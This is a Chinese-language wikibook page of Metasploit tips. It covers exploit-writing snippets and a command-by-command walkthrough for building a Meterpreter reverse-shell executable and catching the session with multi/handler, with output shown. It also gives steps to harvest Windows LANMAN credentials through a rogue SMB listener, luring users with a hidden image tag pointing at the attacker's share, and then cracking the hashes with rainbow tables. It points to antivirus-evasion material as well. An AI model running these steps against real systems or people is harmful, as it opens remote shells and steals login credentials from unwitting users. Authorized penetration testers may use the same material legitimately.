跳轉至內容

Metasploit/技巧和竅門

來自華夏公益教科書


Metasploit 框架的技巧和竅門


無論是編寫漏洞利用程式還是使用 Metasploit 框架,終端使用者都可以使用許多技巧。

編寫漏洞利用程式

[編輯 | 編輯原始碼]
  • 不確定哪些字元可能會被過濾?使用 Rex::text.charset_exclude(badchars) 函式
shellcode = Rex::text.charset_exclude( payload_badchars )
buf[scloc] = shellcode
buf[jmploc] = [ target['Rets'][0] ].pack('V')

將偵錯程式設定為在跳轉位置斷點,並檢視轉儲中的字元。(新增螢幕截圖)

  • 逃避技術最好在驗證可利用性後應用。
  • 某些負載可能無法在所有漏洞利用程式中正常工作,在獲得執行流程後嘗試多個負載。

使用無漏洞利用程式的處理器(可執行負載)

[編輯 | 編輯原始碼]

在使用 Metasploit 的過程中,您會需要在沒有漏洞利用程式的情況下執行負載。這可以透過使用 multi/handler 漏洞利用程式模組來實現。

步驟 1. 生成您的負載可執行檔案

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X > met-reverse.exe

步驟 2. 啟動監聽器

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

步驟 3. 執行可執行檔案並互動

msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:1060)
 
meterpreter >

本文件包含多個建立和使用獨立負載的語法示例。它還包含關於避免防病毒檢測的討論。 http://www.giac.org/certified_professionals/practicals/GCIH/01072.php


LM 半挑戰

[編輯 | 編輯原始碼]

最初的部落格文章在這裡 - 使用免費的彩虹表 HALFLMCHALL 表和修改後的 Metasploit 2.7 smb_sniffer 漏洞利用程式模組,獲取和破解 LANMAN 挑戰從未如此簡單。

步驟 1. 使用 Metasploit 2.7(目前)和更新的smb_sniffer.pm 漏洞利用程式模組。這在 Windows 平臺上不起作用。

步驟 2. 解壓縮 Msf2.7 並將 smb_sniffer.pm 放置在 exploits/ 目錄下,替換舊版本。

步驟 3. 設定 Metasploit 並以 root 身份執行。

framework-2.7 $ sudo ./msfconsole
Password:


                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


+ -- --=[ msfconsole v2.7 [161 exploits - 76 payloads]

msf > use smb_sniffer
msf smb_sniffer > show options

Exploit Options
===============

  Exploit:    Name       Default         Description
  --------    -------    ------------    -----------------------------------------------
  optional    KEY        �"3DUfw�        The Challenge key
  optional    PWFILE                     The PWdump format log file (optional)
  optional    LOGFILE    smbsniff.log    The path for the optional log file
  required    LHOST      0.0.0.0         The IP address to bind the SMB service to
  optional    UID        0               The user ID to switch to after opening the port
  required    LPORT      139             The SMB server port

  Target: Targetless Exploit

msf smb_sniffer > set PWFILE=/tmp/pwtest.txt
PWFILE=/tmp/pwtest.txt:
msf smb_sniffer > exploit
[*] Listener created, switching to userid 0
[*] Starting SMB Password Service

步驟 4. 讓某人連線到您的伺服器。它可以是簡單的“dir \\serverip\share”或“<img src=\\serverip\share\file.gif height=0 width=0>”標籤,位於某些 HTML 頁面上。Windows 將嘗試建立連線並將登入使用者的憑據傳送到您的等待伺服器。

步驟 5. 獲取您的新 pwtest.txt 檔案並將其複製到擁有 HALFLMCHALL 表的 Cain & Able 機器上。

步驟 6. 選擇要破解的雜湊值,右鍵單擊並選擇密碼分析攻擊 -> HALFLM 雜湊值 + 挑戰 -> 透過彩虹表,新增表並進行破解!

注意事項

  • 只有 LANMAN 雜湊值可以透過這種方式獲得。如果客戶端拒絕 LM,那麼就太可惜了。
  • 表中只有前 7 個字元。您必須暴力破解其餘部分(或將雜湊值分成兩部分,並在每一端新增 AAD3B435B51404EE)。
  • 表總共 54 GB。載入和搜尋需要一些時間。
華夏公益教科書